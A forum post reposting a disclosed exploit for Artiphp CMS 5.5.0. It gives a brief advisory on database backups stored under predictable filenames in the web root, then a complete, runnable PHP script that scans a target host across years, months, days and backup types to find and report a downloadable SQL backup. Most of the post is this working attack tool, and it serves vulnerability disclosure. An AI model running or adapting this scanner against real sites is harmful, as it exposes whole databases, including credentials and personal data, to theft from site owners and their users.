Jump to content
The_Arhitect

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

Recommended Posts

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

<?php

/*

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit


Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)

Summary: Artiphp is a content management system (CMS) open
and free to create and manage your website.

Desc: Artiphp stores database backups using backupDB() utility
with a predictable file name inside the web root, which can be
exploited to disclose sensitive information by downloading the
file. The backup is located in '/artzone/artpublic/database/'
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.

Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.8 / 5.3.9
MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2012-5091
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php


15.05.2012

*/

error_reporting(0);

print "\no==========================================================o\n";
print "| |";
print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit |\n";
print "| |\n";
print "|\t\t\tby LiquidWorm |\n";
print "| |";
print "\no==========================================================o\n";

if ($argc < 3)
{
print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";
die();
}

$godina_array = array('2012','2011','2010');

$mesec_array = array('12','11','10','09',
'08','07','06','05',
'04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
'25','24','23','22','21','20',
'19','18','17','16','15','14',
'13','12','11','10','09','08',
'07','06','05','04','03','02',
'01');

$backup_array = array('full','structure','partial');

$host = $argv[1];
$port = intval($argv[2]);
$path = "/artiphp/artzone/artpublic/database/"; // change per need.

$alert1 = "\033[0;31m";
$alert2 = "\033[0;37m";

foreach($godina_array as $godina)
{
print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";
sleep(2);
foreach($mesec_array as $mesec)
{
foreach($dn_array as $dn)
{
print "~";
foreach($backup_array as $backup)
{
if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))
{
print "\n\n\x20[!] DB backup file discovered!\n\n";
echo $alert1;
print "\x20==>\x20";
echo $alert2;
die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");
}
}
}
}
}

print "\n\n\x20[*] Zero findings.\n\n\n"

?>

Sursa: Artiphp CMS 5.5.0 Database Backup Disclosure Exploit

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...